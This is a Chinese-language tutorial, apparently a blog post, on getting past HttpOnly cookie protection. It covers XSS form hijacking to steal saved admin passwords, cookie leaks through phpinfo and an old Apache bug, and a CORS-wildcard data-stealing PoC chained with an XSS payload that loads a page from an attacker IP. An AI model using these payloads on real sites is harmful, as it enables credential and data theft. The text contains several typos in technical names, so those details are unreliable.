赞
踩
目录
目录
如果在cookie中设置了HttpOnly属性,那么通过js脚本将无法读取到cookie信息,这样能有效的防止XSS攻击
我们获取Cookie的目的无非就是登录后台,而登录后台往往还有另一种更为普遍的方式:账号密码登录。
所以当HttpOnly开启时,我们无法通过Cookie来登录,只能想办法获取账号密码。
若对方管理员有账号密码保存在浏览器的习惯,那么可以通过XSS漏洞读取浏览器中存储的账号密码信息。分以下两种情况:
如果管理员账号密码保存在浏览器,则登录时以及登录后触发了XSS语句(勾选获取浏览器记住的明文密码),都会把账号密码信息发送到XSS后台。
当使用者输入账号密码时,浏览器会通过HTML的表单提交数据,再由POST方式将接收的数据参数提交到后台
此时抓包就能看见用户的账号和密码
如果能够在登录时触发XSS的表单劫持脚本代码,就会将账号密码信息发送回XSS后台,我们就能以此拿到管理员的账号密码信息。
需要注意的是,如果要利用表单劫持,那么XSS漏洞必须出现在登录框所在页面,也即XSS的表单劫持代码必须插入到登录框所在的页面(XSS代码提前写入此页面等待触发),若登录框所在页面不存在跨站漏洞,就无法得到账号密码信息。
phpinfo中很有可能藏着大量的信息,其中说不定就包含着cookie
Apache服务器2.0-2.2版本存在个漏洞 CE-2012-0053:
攻击者可通过向网站植人超大的Cookie,令其HTTP头超过Apache的LititRequestFieldSize (最大请求长度,4192字节),使得Apache返回400错误,状态页中包含了HttpOnly 保护的Cookie。
CORS,跨域资源共享(Cross-origin resource sharing),是H5提供的一种机制,WEB应用程序可以通过在HTTP增加字段来告诉浏览器,哪些不同来源的服务器是有权访问本站资源的,当不同域的请求发生时,就出现了跨域的现象。
- Host:去哪里。域名+端口。值为客户端将要访问的远程主机,浏览器在发送Http请求时会带有此Header
- Referer:来自哪里。协议+域名+端口+路径+参数。当前请求的来源页面的地址,服务端一般使用 Referer 首部识别访问来源,可能会以此进行统计分析、日志记录以及缓存优化等
- 常见应用场景:百度的搜索广告就会分析Referer来判断打开站点是从百度搜索跳转的,还是直接URL输入地址的
- 一般情况下浏览器会带有Referer,但这些情况不会带有Referer这个头
- 来源页面协议为File或者Data URI(如页面从本地打开的)
- 来源页面是Https,而目标URL是http
- 浏览器地址栏直接输入网址访问,或者通过浏览器的书签直接访问
- 使用JS的kk跳转
- …
若浏览器不能获取到请求源页面地址,Referer头不会发送,但Origin依旧会发送,只是值是null而已(注:虽然值为null,但此请求依旧属于Cors请求)
- Origin:来自哪里(跨域)。协议+域名+端口。它用于Cors请求和同域POST请求
只有跨域请求,或者同域时发送post请求,才会携带Origin请求头
Cors请求可分为两类,简单请求和非简单请求。所谓简单请求,就是请求方式为GET,POST,HEAD这三种之一,并且HTTP头不超出(Accept,Accept-Language,Content-Language,Lat-Event-ID,Content-Type)这几种字段。
当浏览器发现服务器的请求为简单请求时,会在头信息里加入Origin字段。Origin字段代表此次请求来自哪个域,服务器就可以检验是否来自该域。如果匹配,服务器就会在响应里增添三个字段:
其中 Access-Control-Allow-Origin是必须有的,而剩下两个可有可无。Access-Control-Allow-Origin字段代表允许哪个域访问。当字段值为‘*’时,就代表任意域都可以访问,这样,就导致了Cors漏洞的产生。
随意打开一网站,找到一些用户信息:
再查看该网页的响应包:
可以看到响应包里面:Access-Control-Allow-Origin:*,这就代表了任意域可以访问,构造poc:
POC:全称 ' Proof of Concept ',中文 ' 概念验证 ' ,常指一段漏洞证明的代码。
- <!DOCTYPE>
- <html>
- <script type="text/javascript">
- function loadXMLDoc()
- {
- var xhr = new XMLHttpRequest();
-
- xhr.onreadystatechange=function()
- {
- if(xhr.readyState == 4 && xhr.status == 200) //if receive xhr response
- {
- var datas=xhr.responseText;
- alert(datas);
- }
- }
- //request vuln page
- xhr.open("GET","http://www.target.com","true") //网页地址
- xhr.send();
- }
- loadXMLDoc();
- </script>
- </html>
可以看到成功截取到了用户的信息
需要先验证XSS和Cors漏洞都存在
然后构造能够通过CORS跨域获取到敏感数据的JavaScript代码,如复现中的poc
该代码通过loadXMLDoc()函数,判断当前的访问状态,如果是正常访问(即状态码为200),则获取目标网页地址文件的body下的全部内容(也可以根据ID获取)并弹框展示出来。
现在我们只需要把反射XSS的payload替换为利用CORS跨域获取敏感信息的payload即可,例如:
<script src="x" οnerrοr=javascript:window.open("http://192.168.38.1/cors.html")></script>
程序成功执行。
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。